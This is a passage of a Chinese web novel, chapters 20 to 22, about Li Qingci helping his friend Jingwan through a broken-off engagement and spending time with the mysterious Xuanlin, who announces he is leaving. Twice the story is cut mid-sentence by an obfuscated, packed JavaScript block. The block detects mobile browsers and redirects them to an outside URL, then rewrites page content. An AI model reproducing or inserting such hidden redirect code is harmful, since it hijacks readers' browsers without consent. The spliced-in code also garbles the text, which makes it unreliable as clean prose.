李青辞问她:“水谚什么态度?” 陈静婉从地上揪起一根草,一点点掐断,低声道:“我不知道,昨天我爹回家后不久,他来我家敲门,我爹没让他进来,也不让我出去见他。” 李青辞闻言顿了顿,温声道:“你先等等,等事情明朗。” 陈静婉抹了把眼睛,声音又哽咽起来:“可是,早起我听见我爹娘说,吃完饭就要去韩家退亲。” 李青辞抿了抿嘴,也不知道该说什么,见她穿着单薄的衣裙,近前的地上还存着一块白霜,便开口道:“先起来吧,地上凉。” 陈静婉嗯了一声,抹干眼泪从地上起来。 李青辞道:“别哭了,我们去捡柴吧,我知道有片地方枯树枝很多。” “行吧。”被李青辞这么一打岔,陈静婉也哭不起来了。 俩人一起朝山里走,途中,李青辞脱下身上的外衫递给陈静婉。 陈静婉一愣,摆手道:“不用,你自己穿吧,秋冬你总得风寒,记得多穿点。” “你穿,我不冷。”李青辞笑道,“我现在身体好了很多,应该不会频繁得风寒了。” 陈静婉闻言,偏头看他。 李青辞不止长高了,也胖了不少。 面色红润,身形挺直,步伐轻盈、矫健,看着很精神。 “有句话怎么说来着。”陈静婉接过衣服穿上,皱着眉头回想,突然哦了一声,“士别三日,当刮目相看,你小子真是长大了!” 李青辞笑着嗯了一声,弯腰捡起一根枯树枝。 没过多久,俩人来到一片小山坡,地上堆满枯枝落叶。 陈静婉从腰间解下几根麻绳铺在地上,看着李青辞笑了起来:“青辞,你真是找了个好地方,这下不用满山转悠,一趟齐活了!” 李青辞捡起树枝搁在麻绳中间,对她道:“我还知道个地方,明天我们去那儿捡柴。” “好!”陈静婉笑声欢快。 差不多也就两刻钟,俩人将五捆柴禾捆好,准备往山下走。 李青辞一手拎一捆,对陈静婉道:“你拿一捆就好,剩下的我等会来拿。” 这一捆柴并不轻,陈静婉没有逞强:“好,你也拿一捆吧,挺沉的。” 李青辞提着柴拎了拎,笑道:“还好,我提得动。” 这里离山脚不算远,陈静婉想着一会儿就走到了,点头道:“行,你累了说一声,咱们坐下歇会。” “好。”李青辞跟在陈静婉后面走着。 到了山脚,俩人把柴放下,李青辞没让陈静婉跟着去:“你坐着吧,我很快就回来。” 不等陈静婉说话,李青辞直接转身走了。 “好小子,你悠着点!”陈静婉喊了一嗓子。 李青辞提高音量:“知道了!” 到了山坡,他弯腰提起两捆柴,转身朝山下走。 突然,身后响起一道略微低沉的声音。 “你来来回回忙活什么呢?” 21. 第 21 章 玄鳞疑惑地看着李青辞。 这小东西一上山他就察觉到了,结果人走了没一会儿又折回去了,然后又折回来,这眼下看着又要往山下走。 身边还有一道陌生的凡人气息。 李青辞微微抬起右手,向他示意,笑道:“我在捡柴。” “你不用做饭,你捡什么柴?”玄鳞纳罕。 李青辞道:“我在帮静婉捡柴。” 又是静婉,小东西对朋友挺热心,玄鳞嗯了一声:“行,捡你的柴吧。” 李青辞见他又要消失,急忙开口道:“玄鳞,柴有点沉,你帮我拿一捆,好不好?” 玄鳞闻言顿住,施到一半的法术就此散开,他皱眉看着李青辞:“你自己做好人好事,还要拉上我?” “真的好沉。”李青辞走上前,放下右手的柴,把勒红的掌心伸到他眼前,“你看,都磨红了。” 玄鳞看着他默不作声。 “好吧,我自己拿。”李青辞弯腰去拎柴禾,一只比他更大、更快的手抢先拎走了柴禾。 紧接着左臂一紧,然后左手一空。 玄鳞单手提溜着两捆柴走在前头,语气不耐烦:“还傻站着干什么!跟上!” 李青辞低头搓了搓掌心,提起嘴角笑着,轻喊道:“好,来了!” 他小跑着过去,走在玄鳞没拿柴的右手边。 视线一晃,眼前多出一只手,手心里握着一把鹌鹑蛋。 他伸手捏了两个,慢慢剥皮。 玄鳞啧了一声:“都拿走。” “我得剥壳,手里拿不下,外衫给静婉了,裤子没口袋。”李青辞将眼前的手推到一边,“你先给我拿着。” 玄鳞额角抽了抽,一脸不耐地收回了手。 没一会儿,李青辞吃完手里的俩鹌鹑蛋,朝玄鳞伸手:“再给我俩。” 这时,他脑门突然被砸了一下,下意识伸手去摸,正好将鹌鹑蛋接在手里。 笑了笑,他朝玄鳞道:“砸得不疼,壳都没有破。” 话音刚落,屁股被人踹了一脚。 他往前踉跄一步,好声好气道:“我错了,我不说了。” “吃都堵不上你的嘴!”玄鳞又朝他脑门砸了一下。 李青辞笑吟吟地接过鹌鹑蛋,剥去壳,搁进嘴里吃了。 等玄鳞手里的鹌鹑蛋吃完,他们也快走到山脚了。 李青辞拍拍手,用手背擦了擦嘴。 这时,耳边突然响起一道尖锐的哭喊声。 “你走开!离我远点!” 是陈静婉的声音。 李青辞来不及多想,立刻跑过去,跑到一半,转过山路的拐角,看见底下的情况不由得放慢了步子。 原来是水谚来了,他松了一口气。 一扭头,见玄鳞站在他身边,正挑眉看着他。 他不解:“怎么了?” 玄鳞道:“稀奇,没想到你小子还能跑这么快。” “都是因为你。”李青辞抿嘴笑了笑,看着他道,“我最近吃得很好,长高了也长肉了,精力和体力都好了很多。” 玄鳞闻言将李青辞扫视一遍,心中不以为然。 还是个小崽子,不及他肩高。 “你的柴。”玄鳞随手一丢,转身走了。 李青辞看着他远去的背影,顿了顿,捡起柴往下走。 此时,陈静婉和韩水谚正僵持不下。 一见李青辞来了,纷纷收敛动作和表情。 韩水谚快步走上前,接过李青辞手里的柴,压低声音跟他说:“你帮我劝劝婉婉。” 李青辞闻言,抬眼扫他,没作声、没松手,拎着柴禾朝陈静婉走去。 “走吧,我跟你一块把柴送回家。” 陈静婉嗯了一声,抱起地上一捆柴禾。 韩水谚见状,三步做两步,赶紧冲上去抢她手里的柴,讨好地笑着:“婉婉,我给你拿。” “用不着!松手!”陈静婉冷声道。 韩水谚语气急切起来,解释道:“陈叔和我爹打起来的时候,我真没在场,我当时在厨房给我娘帮忙,等我听见声音跑出去,你爹已经走了。” “我当时就要追出去,可是我爹拦着我不让走,后来我摆脱我爹追出去。”说到这,韩水谚委屈起来,“陈叔不给我开门,你也不出来见我。” 说着,他眼圈也红了,难过道:“也就前一会儿,我在家正跟我爹和我哥说理,你爹和媒人就上门要退亲,怎么就要退亲了呢?” 陈静婉见他难过,心里也不好受,但是她心里也有怒气,高声道:“你说为什么退亲!” “你哥刚中举,你们全家就看不上我了,说我是没见识的野丫头,还说等你哥做了官,我连给你家当烧火丫头都不够格!” “我没有!”韩水谚急切喊道,“你别把我算上啊!而且,那只是我爹自己说的,我娘和我哥都没说,我们——” “得了吧!”陈静婉开口打断他,拽着柴禾就要走,“谁知道你们家里怎么想的,就这样吧,一拍两散!” “不能散不能散!”韩水谚拉着她不让走,埋怨道,“婉婉你怎么能说这样的话!” 韩水谚一急,没控好力道,陈静婉疼得直皱眉。 李青辞走上前插在两人中间,面朝韩水谚,沉声道:“你冷静一点,先松手。” 韩水谚看着一脸冷淡的李青辞,满心的慌张散了大半,他连忙松手,关心道:“婉婉,我是不是抓疼了?你别生气。” “让开!”陈静婉捂着手腕,将他推开。 李青辞接过她手里的柴禾扔给韩水谚,朝她道:“你先别着急,回去听听家里怎么说。” “对对!”韩水谚高声喊道,“青辞说得对,我们先回家,有事好商量。” 陈静婉不理他,自己一个人走在前头。 李青辞拎着两捆柴紧随其后,韩水谚拿着剩下的三捆柴走在最后面。 犹豫片刻,韩水谚没敢往陈静婉身边凑,他走到李青辞身边,低声问道:“青辞,你说我该怎么办啊?” 虽然李青辞从小体力不行,但他看书多,脑袋瓜还是很好使的。 李青辞道:“别问我,看你自己。” 韩水谚一听急了,连忙道:“青辞,你好歹给我出个主意吧,我不知道该问谁,跟我家里人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15514040|170599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也说不通,他们都不拿我当大人看。” 李青辞闻言转头看他,淡声道:“水谚,我给你出不了主意,同样,没人能帮你做主,这是你自己的事情,决定权在你手里。” 韩水谚听完愣住了,他反复想着李青辞的话。 是啊,这是他的婚事。 是他要娶婉婉,他们的新房都快建好了,桌椅板凳、床榻橱柜都正在做着,他还特地选了一块好木料,给婉婉做了一个眼下最时兴的梳妆台。 没人再说话,一路沉默着走到陈静婉家门口。 李青辞拎着柴进去,韩水谚犹豫几息,还是抬脚走了进去。 此时,正巧陈叔从屋里出来,见到韩水谚就骂:“你个臭小子,还敢登我家门,快滚!” 说着就要上手打他。 韩水谚慌张地四下环顾,求救地看向李青辞,李青辞顿了顿,硬着头皮走到他和陈叔之间。 陈叔一看李青辞插过来了,抡着的扫帚一顿,开口道:“青辞,你起开,别打着你!” 李青辞僵硬地站在俩人中间,没作声。 韩水谚躲在他身后,冲着陈叔喊道:“叔,我是不会退亲的!” “嘿!你小子,看我不打死你!”陈叔咆哮着冲过来,“滚!从今以后,你不许再登我家的门!” 李青辞满心无奈,他张开胳膊拦住陈叔,劝道:“您别生气,他是来给家里送柴禾的。” 陈叔怒吼道:“拿走!我们要不起!” 此时,陈静婉从厨房跑出来,朝韩水谚使眼色:“你还不走!” 李青辞见陈静婉挡住了他爹,急忙往后退,凑过韩水谚身边,低声道:“你先回家,现在陈叔在气头上,你在这只能添乱。” 韩水谚想了想,觉得有道理,冲着陈静婉大喊道:“我是绝对不会退亲的!” 然后转身跑了。 “我非打死你不可!”陈叔抡着扫帚朝他砸过去。 等韩水谚走了,事态也渐渐平息了。 李青辞走到陈静婉身边,对她道:“你先别急着难过,等事情敲定再哭也来得及。” 陈静婉闻言一哽,忍不住笑道:“知道了,你回去吧。” “嗯。”李青辞接过她递过来的衣服,抬脚往山上走。 折腾这么一通,等李青辞到水潭时,已经过了晌午。 他伸手去搅水,冰凉的潭水让他忍不住抖个激灵,轻轻嘶了一声,喊道:“玄鳞,我来了。” 一滴水珠正中他眉心。 李青辞下意识闭眼,再睁眼时,身后笼罩着一团阴影。 他抬手抿去那滴水,转过身面朝男人。 玄鳞问道:“刚才那小姑娘是静婉吗?” 李青辞点头道:“是。” 玄鳞神情有些不耐,语气烦躁道:“那个小兔崽子跟她吵什么?一个比一个嗓门大!” 李青辞闻言一愣,反应过来,缓声回答:“水谚和静婉他们两个人的爹发生了冲突,导致他们的婚事有可能作罢,所以他们很难过,情绪激动也是在所难免。” “至于吗?”玄鳞不理解,语气有几分不屑,“作罢就作罢。” 22. 第 22 章 听玄鳞这么说,李青辞无奈地笑了笑,朝他道:“很至于,他们俩从小就在一起玩,感情很好,如果分开了,他们都会很难过。” 玄鳞拧起眉,满腹不解地冷哼一声:“感情好还又哭又囔的,吵成那样还能成婚?” 李青辞叹了口气,缓缓道:“就是因为感情好,才能吵起来。” 玄鳞闻言挑眉,凑到他跟前,问道:“你呢,你跟他们感情不好?我看你挺冷静的。” “不是一回事。”李青辞摇头,心里想着措辞,该怎么跟这个男人解释,好一会儿,他道,“我跟他们,和他俩之间,这两种感情是不一样的。” 玄鳞不以为然,在他看来,就是一群小孩过家家,随口道:“既然那静婉嫁不成小兔崽子,那嫁给你好了,也省得她又哭又嚎。” 李青辞定定看了他一眼,深深叹了口气,无奈道:“静婉不喜欢我,她嫁给我不会开心的,她喜欢的人是水谚。” “那你让她喜欢你不就好了。”玄鳞语气透着一股无所谓。 李青辞抬手扶额,试图和他解释,缓缓道:“我也不喜欢静婉,这种事不是嘴上说怎么样就能怎样的。” 玄鳞皱眉:“你不喜欢静婉吗?那你整天把她挂在嘴边,给她捡柴,还把衣服给她穿。” “我没有整天把静婉挂在嘴边。”李青辞一句句解释,“我跟她是朋友,也可以说是姐弟,静婉人很好,对我也很好,我做那些事是出于朋友或弟弟的身份。” 玄鳞没有出言反驳,但是他的神情透露着明晃晃的不理解。 李青辞见状叹气,看着他问道:“玄鳞,你有朋友吗?” “没有。”玄鳞道,“我不需要那东西。” 李青辞嗯了一声,稍作迟疑,慢慢问出了口:“那,你成婚生子了吗?” 玄鳞听完皱起眉:“没有,我更用不着那东西。” 他一破壳就开了灵智,一直勤勉修炼,发.情期很容易就能压下去,不像那些低下的东西,一点克制不住自己,随随便便就跟乱七八糟的东西交.尾。 李青辞伸手捂住脸,缓而深地叹了口气,心中升起一种浓浓的无力感,又莫名想笑。 算了。 不理解就不理解吧。 既然说不通,那就不说了,李青辞没再解释,放下手看着玄鳞,开口道:“我饿了。” “饿了啃自己的爪子!”玄鳞听着他理直气壮的语气,抬手在他脸上掐了一把,“我真是欠了你的!” “在这儿等着。”玄鳞带着怒气走远了。 “好。”李青辞眯了眯眼,把手缩进袖子里,闭目养神,等着男人回来。 阳光从明烈到黯淡,晃眼间,一天又过去了。 接下里的五天,每天上午,李青辞都和陈静婉一起在山上捡柴。 韩水谚光明正大地偷偷跟在两人后面。 李青辞看见远处有截细木桩,便走过去,手刚碰到木桩,就听见身后又吵起来了。 他们的婚事至今也没个定论,韩水谚死咬着牙不松口,说什么都不退婚,陈静婉这边坚持要退。 两方僵持不下,隔着长辈的恩怨,小辈的反抗有些无力。 李青辞不打算回头,就在原地站着。 忽然,听见身后两人齐齐喊他:“青辞,你过来评评理!” 李青辞满心无奈,他又不是断案的刑名,他评什么理。 叹了口气,他捡起柴禾扔到韩水谚脚下,对他道:“你去捆柴。” 转过头对陈静婉道:“你去那边歇着。” 把两人隔开。 这次的柴不多,韩水谚一个人能拿大半,李青辞拿着剩下的,招呼俩人往山下走。 等走到陈静婉家门口,韩水谚把柴放下,站在门口张望。 李青辞把他探出的大半个身子,往里推了推,无奈道:“你注意着点,别又被陈叔看见了。” “好青辞!”韩水谚揽住他的肩,请求道,“你等会给婉婉说说,让她明天还去捡柴。” 李青辞挥开他的手,对他的请求无动于衷,淡然道:“我说不了,静婉明天要和她娘去城里做衣服。” 韩水谚眼睛霎时一亮,只要婉婉能出门就好,他连忙问道:“她们什么时辰去?” 李青辞抬眼看他,没吭声,转过头看向村头。 韩水谚一怔,随即反应过来,低声笑道:“好,明天老时间我还在村口等着,你去吗,我赶车带着你。” “不去。”李青辞摇头道,“你自己折腾吧。” 韩水谚语气低落下来:“好吧。” 随即他又振作起来:“我一定好好表现!” 李青辞对他的豪言壮语不作任何表示,不打击、不鼓励。 隔天。 一大清早,李青辞缩在不怎么暖和的被窝里,缓慢地探出手去摸被子上冰凉的衣服,稍稍犹豫一番,他一鼓作气掀开被子,利索地爬起来。 从衣橱里挑了一件夹棉的薄袄穿上,快速洗漱后,朝着山上走去。 他现在体力好了很多,中间用不着休息能一口气直接爬上山。 到了水潭边,他一眼就看见了躺在石头上晒太阳的玄鳞。 李青辞稍稍惊讶一瞬,也没有太在意,这些时日,玄鳞都不怎么泡水了,而是跟他一样躺在树荫下睡觉。 等他走到玄鳞身边,还未来得及开口说话,就听见玄鳞问他:“今天想吃什么?” 李青辞闻言一愣,往日都是玄鳞给什么他吃什么,他从未提过要求,玄鳞也没有询问过他的意见。 略微惊讶后,他想起前几天的鹌鹑蛋,开口道:“想吃烤鹌鹑,要多抹点蜂蜜。” “行。”玄鳞语气干脆。 半晌。 火堆架在潭边,上面齐刷刷摆了五只烤鹌鹑,每只鹌鹑上都抹了一层厚厚的蜂蜜,看着油亮润泽,很是可口,空气中都弥漫着一股浓浓的甜香。 李青辞拿着玄鳞给他的小块蜂巢,小口舔着。 “吃吧。”玄鳞拿下来一只鹌鹑,用荷叶包好递给他。 李青辞接过来,朝男人伸手:“我的筷子。” 玄鳞从身上摸出一双筷子扔给他。 李青辞夹着肉块往嘴里送,笑着说:“玄鳞,你烤得越来越好吃了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15514041|170599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 玄鳞抬眼瞥他,嗯了一声。 周边很安静,只有细微的咀嚼声。 玄鳞视线虚散着,眼神落在李青辞侧脸时,神情显得淡漠,这个时候,李青辞转过头,大半张脸都映入暗金色的眼睛里。 渐渐,玄鳞的神色越发柔和,甚至一点点勾起嘴角,脸上浮现淡淡笑意,眼神几乎一直看着李青辞,笑意愈浓,眉眼平添几分温柔。 肉吃多了有些腻,李青辞舔了舔嘴唇,正要跟玄鳞要水喝,就见他递过来一个绿色筒子,还有一把木勺。 李青辞接过来,舀了一勺,刚进嘴就眼前一亮,笑着问道:“这是梨汤吗?好喝!” 玄鳞不确定道:“应该是吧。” 山上乱七八糟的果子很多,他吃得少,认不清。 李青辞喝完热梨汤,感觉浑身舒坦,胃里暖融融的。 他起来去洗手,然后围着水潭慢走了几圈,最后走到玄鳞身边坐下,随口抱怨道:“现在的水好凉啊。” 玄鳞抬眼望向群山,满目灰褐色,大片光秃秃的树枝,附和地嗯了一声。 俩人仰躺着晒太阳,过了一会儿,李青辞觉得阳光有些刺眼,便扯过玄鳞的袖子盖在脸上。 对此,玄鳞听之任之。 片刻后。 李青辞戳了戳玄鳞的腰,小声嘟囔道:“你往那边挪挪,我腰下有块凸起的石头,咯得我不舒服。” 玄鳞抬手搭在眼睛上,深吸了口气,往一侧挪动,给这小崽子腾地盘。 换了个平坦的地方,李青辞立刻觉得舒服不少,而且周身暖融融的,鼻尖萦绕着一股湿润、安心的气味。 很好闻,他很喜欢。 过了没多久,他就挨着玄鳞睡着了。 这一天,他感觉自己什么也没做,就吃吃吃睡睡,看了几十页书,捏着细沙画了会儿画。 临近傍晚,山间起风了。 风吹过,石头上的沙画随风消散,一点痕迹都没有留下。 此时,太阳西沉,天边只留一线余晖。 等李青辞吃过晚饭,天色已经变得黯淡,晚上也没星月,光线昏暗。 幸而身边燃着一个明亮、炽热的火堆,李青辞沐浴在火光下,眯起眼伸了个懒腰,懒懒散散地走到水潭边洗手。 冷冽刺骨的潭水给他冰了个激灵,等洗完手,双手都变得通红。 “过来。”玄鳞冲他招手。 “来了!”李青辞跑过去,等着玄鳞抱他。 结果玄鳞掐在他腋下,把他提溜起来拎了拎,笑着说了一句:“重了不少。” 李青辞听完也很开心,笑着说:“我还会长的,你等着,我觉得我最起码能长到你眼睛那儿。” 他说完,玄鳞没有言语,在他脑袋上拍了拍:“走吧,送你回家。” 到了家门口。 李青辞照例朝玄鳞笑着挥手:“明天见。” 玄鳞看着他道:“李青辞,我要走了。” “好,知道啦。”李青辞笑意不减,又说了一遍,“明天见!” “李青辞!”玄鳞加重了语气,“我说,我要走了。”